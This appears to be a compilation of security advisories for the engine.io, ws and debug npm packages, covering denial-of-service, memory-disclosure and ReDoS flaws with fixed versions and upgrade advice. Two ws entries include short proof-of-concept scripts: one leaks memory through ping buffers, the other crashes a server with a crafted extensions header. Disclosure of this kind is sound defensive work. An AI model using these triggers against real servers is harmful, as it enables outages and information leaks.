Version Details and Security Vulnerabilities

Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.

Impact

A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.

events.js:292
      throw er; // Unhandled 'error' event
      ^

Error: read ECONNRESET
    at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (internal/streams/destroy.js:106:8)
    at emitErrorCloseNT (internal/streams/destroy.js:74:3)
    at processTicksAndRejections (internal/process/task_queues.js:80:21) {
  errno: -104,
  code: 'ECONNRESET',
  syscall: 'read'
}

This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.

Patches

A fix has been released today (2022/11/20):

| Version range | Fixed version | |-------------------|---------------| | engine.io@3.x.y | 3.6.1 | | engine.io@6.x.y | 6.2.1 |

For socket.io users:

| Version range | engine.io version | Needs minor update? | |-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------| | socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient | | socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x | | socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient | | socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open an issue in engine.io

Thanks to Jonathan Neve for the responsible disclosure.

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this sends a non-zeroed buffer of 50 bytes

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data) // Data from the client. 
  })
})

Recommendation

Update to version 1.0.1 or greater.

Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.

Recommendation

Update to version 1.1.1 or later. Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.

Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

Recommendation

Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.